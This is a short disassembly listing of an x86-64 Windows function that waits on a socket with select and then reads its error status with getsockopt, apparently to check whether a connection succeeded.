cmp eax, 0x3f
ja 0x40297d
mov eax, dword [rbp + 0x200]
movsxd rdx, eax
mov eax, dword [rbp + 0x1ec]
mov qword [rbp + rax*8 - 0x38], rdx
mov eax, dword [rbp - 0x40]
add eax, 1
mov dword [rbp - 0x40], eax
mov eax, dword [rbp + 0x200]
add eax, 1
lea rcx, [rbp - 0x40]
lea rdx, [rbp - 0x48]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8, rcx
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_select]
call rax
test eax, eax
jle 0x4029f4
mov dword [rbp - 0x4c], 4
mov eax, dword [rbp + 0x200]
cdqe
lea rcx, [rbp - 0x50]
lea rdx, [rbp - 0x4c]
mov qword [rsp + 0x20], rdx
mov r9, rcx
mov r8d, 0x1007
mov edx, pe_overlay
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_getsockopt]
call rax
mov eax, dword [rbp - 0x50]
test eax, eax
je 0x402a02
mov eax, 0
jmp 0x402a07
mov eax, 0
jmp 0x402a07
mov eax, 0
jmp 0x402a07
mov eax, 1
add rsp, 0x270
pop rbp
ret